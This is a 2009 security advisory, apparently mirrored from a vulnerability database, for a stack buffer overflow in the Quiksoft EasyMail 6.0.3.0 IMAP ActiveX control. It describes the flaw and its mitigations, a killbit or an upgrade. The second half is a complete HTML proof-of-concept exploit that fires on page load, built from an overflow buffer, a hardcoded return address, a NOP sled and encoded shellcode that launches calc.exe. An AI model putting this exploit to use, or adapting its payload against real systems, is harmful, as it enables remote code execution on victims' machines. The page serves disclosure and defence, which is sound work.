Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22478
HistorySep 17, 2009 - 12:00 a.m.

Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX stack overflow exploit

2009-09-1700:00:00
vulners.com
8

<!–

I - TITLE

Security advisory: Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX
stack overflow exploit

II - SUMMARY

Description: Remotely exploitable buffer overflow in ActiveX component
Quiksoft EasyMail 6.0.3.0 allows for the arbitrary code execution in the
user context.

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com),
http://www.devtarget.org

Date: September 17th, 2009

Severity: Medium (remote code execution in the user context)

References: http://www.devtarget.org/easymail-advisory-09-2009.txt

III - OVERVIEW

Quote from quiksoft.com: "The EasyMail Products are relied upon by over
thousands
of international corporations, federal, state and local organizations,
and individual
developers. Quiksoft has established the EasyMail products as "the
professional,
reliable, and easy to use choice for e-mail development". More
information about
the product can be found online at http://www.quiksoft.com.

IV - DETAILS

The software Quiksoft EasyMail 6.0.3.0 ships emimap4.dll, an ActiveX
component
to facilitate the development of IMAP4-aware applications. The connect()
function
of this component is prone to a classic buffer overflow vulnerability
when a
particularly long argument is passed and the application attempts to
copy that
data into a finite buffer. This allows for the execution of arbitrary
code in the
user context.

V - MITIGATING MEASURES

Either set the killbit for the relevant ActiveX component
(clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D)
or install the latest version of Quiksoft EasyMail which is not
considered vulnerable.

VI - NOTES

Code below was taken from an exploit originally written by e.b
(see http://www.milw0rm.com/exploits/4825&#41;. Thanks also to Francis
Provencher
for drawing my attention on Quiksoft EasyMail. Shellcode below is rather
harmless and
executes calc.exe.

Tested on Windows XP SP2 English, IE6, emimap4.dll version 6.0.3.0

–>

<html>
<head>
<title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title>
<script language="JavaScript" defer>
function Check() {

 var buf = &#39;A&#39;;
 while &#40;buf.length &lt;= 440&#41; buf = buf + &#39;A&#39;;

// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378
Encoder=Alpha2 http://metasploit.com
var shellcode1 =
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +

"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +

"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +

"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +

"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +

"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +

"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +

"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +

"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +

"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +

"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +

"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +

"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +

"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +

"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +

"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +

"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +

"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +

"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +

"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +

"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +

"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +

"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
"%4e%31%75%74%38%70%65%77%70%43");

    var eip = unescape&#40;&quot;&#37;0F&#37;DD&#37;17&#37;7D&quot;&#41;; // Windows XP SP2 English

    var nop = unescape&#40;&quot;&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&#37;90&quot;&#41;;

    var m = buf + eip + nop + shellcode1 + nop;
    
    obj.connect&#40;m&#41;;

}

</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D">
Failed to instantiate object.
</object>
</body>
</html>